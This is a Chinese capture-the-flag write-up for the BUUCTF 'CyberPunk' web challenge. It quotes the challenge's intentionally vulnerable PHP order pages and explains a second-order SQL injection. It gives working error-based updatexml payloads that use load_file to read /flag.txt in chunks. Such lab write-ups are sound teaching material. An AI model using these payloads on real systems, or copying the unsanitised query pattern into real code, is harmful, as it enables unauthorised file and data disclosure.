BUUCTF_练[CISCN2019 华北赛区 Day1 Web5]CyberPunk

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

掌握知识

php伪协议读取文件;源码泄露hint ;代码审计 发现二次注入点;SQL语句的二次注入和报错注入结合使用。报错注入进行文件读取操作;substr函数配合报错注入输出固定长度和范围的数据

解题思路

  1. 打开题目链接,发现是购买东西的,发现每个界面都有输入框,感觉SQL注入没跑了,查看一下源码,发现有hint,提示file=这不妥妥的文件包含么,包含flag没有,只能伪协议读取index.php

image-20231002235615342

image-20231002235508021

  1. 解密出来也没发现什么,也尝试包含了很多文件也未果,只能去包含靶场能看到的三个文件了,解密后发现了config.php文件,查看其内容后发现是数据库配置。再加上每个界面SQL语句过滤和nosql漏洞 那更加确定就是SQL注入了

image-20231002235715077

image-20231002235718571

  1. 对每个页面的代码进行审计,关键点在两个网页上,一个是订单提交页面,一个是订单修改页面。代码审计发现,waf对于用户名和电话过滤很严格,但是对于地址几乎可以说不过滤。提交订单的后端代码,就没有对地址提交的数据进行任何过滤直接保存到数据库中。在更改信息的界面,又将前面保存在数据库中的地址信息直接拼接到数据库更新语句中,很明显存在二次注入。
<?php
//confirm.php
require_once "config.php";
//var_dump($_POST);
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = $_POST["address"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if($fetch->num_rows>0) {
        $msg = $user_name."已提交订单";
    }else{
        $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
        $re = $db->prepare($sql);
        $re->bind_param("sss", $user_name, $address, $phone);
        $re = $re->execute();
        if(!$re) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单提交成功";
    }
} else {
    $msg = "信息不全";
}
?>

//change.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

代码分析
  1. 对关键的代码进行分析,下面是订单提交的代码,并没有对地址信息进行任何过滤,直接将其存入到了数据库当中
    $address = $_POST["address"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone))
     $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
  1. 下面是订单修改的代码,虽然对输入的订单信息进行了一点小过滤,但是关键点不在这里,下面的数据库更新语句没有对之前存入的数据进行过滤,直接进行拼接到了SQL语句上,很显然的二次注入利用。
$address = addslashes($_POST["address"]);
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
paylaod的构建
  1. 整体的利用思想就是构造好paylaod,在订单提交界面传给地址保存到数据库,在修改订单信息,将传入的paylaod拼接到SQL语句中,进行恶意利用执行

  2. 由于是数据库的更新语句,所以只好利用报错注入了。因为借助了wp,所以看都是直接使用load_file读取的flag文件,所以也就没有尝试报错注入数据库中的数据了

  3. 编写相应的paylaod,由于报错注入返回长度有限,需要借助substr mid等函数的截断输出,控制输出的长度和范围

1' or updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30))),1)#
1' or updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,60))),1)#
正式解题
  1. 按照前面分析的思路,先填写好订单信息,将paylaod填写到地址栏,提交之后进行更改订单信息,输入正确的用户名和电话才能得到传入的paylaod。提交之后就会弹出前半段的flag

image-20231030190023053

image-20231030190034897

image-20231030190046981

  1. 获取后半段的flag需要再重新创建一个订单信息,步骤和上面一样,就能返回后半段的flag

image-20231030190150034

image-20231030190158460

image-20231030190205544

关键paylaod

1' or updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30))),1)#
1' or updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,60))),1)#

$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
  • 15
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值